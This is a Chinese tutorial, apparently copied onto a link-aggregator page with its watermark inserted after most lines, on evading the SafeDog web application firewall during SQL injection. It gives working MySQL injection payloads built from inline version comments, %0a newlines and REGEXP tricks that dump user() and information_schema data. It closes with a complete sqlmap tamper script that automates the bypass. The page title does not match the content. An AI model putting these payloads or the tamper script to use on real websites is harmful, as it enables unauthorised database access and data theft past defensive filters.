前言

安全狗又偷偷摸摸更新了eHo快乐收录网

【网络安全学习】eHo快乐收录网

绕过

之前安全狗就像没开发完一样，简单内联就过去了，但是现在的安全狗摇身一变，变得稳重了起来。eHo快乐收录网

就连报错界面都变成了大人的模样。eHo快乐收录网

 eHo快乐收录网

看这架势，不好过啊eHo快乐收录网

 eHo快乐收录网

首先 and 内敛注释依旧是可以过的，看来安全狗并没有太过关注and，可能是觉得后面的规则比较牛，知道有注入也没用？eHo快乐收录网

 eHo快乐收录网

然后是order by ，从这里开始，事情就变得微妙了起来eHo快乐收录网

 eHo快乐收录网

猜测规则是order by 组合强规则，意思就是order by中间无论加什么都过不去eHo快乐收录网

随便试一试eHo快乐收录网

 eHo快乐收录网

果然，但是有没有发现，我fuzz的符号里没有加＃号，因为加了就会这样eHo快乐收录网

 eHo快乐收录网

由于锚点这个特殊性，盲猜这是一个突破点eHo快乐收录网

可能安全狗遇到注释也会直接截断掉后面的语句（类似某锁），那就好说了，构造个注释在语句前面即可eHo快乐收录网

 eHo快乐收录网

居然没过，小看你了安全狗，看来order by规则还没失效，那么 尝试隔断order byeHo快乐收录网

中间加个%0aeHo快乐收录网

 eHo快乐收录网

轻轻松松eHo快乐收录网

接下来是union select 组合eHo快乐收录网

同理，也可以这样过eHo快乐收录网

1'  REGEXP "[…%0a%23]"    /*!11444union %0a select*/ 1,2,3 --+

 eHo快乐收录网

下一个是user()这类函数，这里也是个坑，发现直接括号会被拦eHo快乐收录网

 eHo快乐收录网

去一个右括号就没事了，这规则也是无语eHo快乐收录网

 eHo快乐收录网

既然如此，在括号里下文章即可eHo快乐收录网

依然是换行加注释绕过eHo快乐收录网

-1'  REGEXP "[…%0a%23]"    /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +

 eHo快乐收录网

然后是INFORMATION_SCHEMA 这玩意，居然也被加到了规则里，eHo快乐收录网

 eHo快乐收录网

没关系，继续构造换行注释，eHo快乐收录网

-1'  REGEXP "[…%0a%23]"    /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.schemata*/),3-- +

 eHo快乐收录网

tamper

#!/usr/bin/env python
# -*- coding: utf-8 -*-



"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

        payload=payload.replace(" ","  ",1)
        payload=payload.replace("ORDER BY","REGEXP "[...%25%23]"   /*!11444order %0a by*/")
        payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
        payload=payload.replace(" AND","/*!11444AND*/")
        payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
        payload=payload.replace("UNION SELECT","/*!11444union*/  /*REGEXP "[...%25%23]"*/  %0a select /*REGEXP "[...%25%23]"*/")
        payload=payload.replace("UNION ALL SELECT","REGEXP "[...%0a%23]" /*!11444union %0a select */ ")
        payload=payload.replace("()","(%0a /*!80000aaa*/)")
        payload=payload.replace(" AS","/*!11444AS*/")
        payload=payload.replace("FROM","/*!11444FROM*/")
        payload=payload.replace("INFORMATION_SCHEMA","/*like"%0a%23"*/ %0a  INFORMATION_SCHEMA")
        payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")

        return payload

eHo快乐收录网

　　《服务器安全狗怎么关闭（网络安全软件排行）》更新于时间：2022-07-12 21:57:55；由本站小编进行发布，目前浏览的小伙伴达到，感谢你们的支持，后期快乐收录网小编会继续为大家更新更多相关的文章，希望广大网友多多关注快乐收录网工作心得栏目，如果觉得本站不错，那就给我们一个分享的支持吧！

服务器安全狗怎么关闭（网络安全软件排行）特别声明

本站快乐收录网提供的服务器安全狗怎么关闭（网络安全软件排行）都来源于网络，不保证文章的准确性和真实性，同时，对于该文章所造成的影响，不由快乐收录网实际控制，在2022-07-12 21:57:55收录时，该网页上的内容，都属于合规合法，如有侵权违规，可以直接联系网站管理员进行整改或删除，快乐收录网不承担任何责任。

快乐收录网：致力于优质、实用的网络站点资源收集与分享！本文地址：https://nav.klxjz.cn/zixundaquan/wzyh/202207/8989.html转载请注明

标签：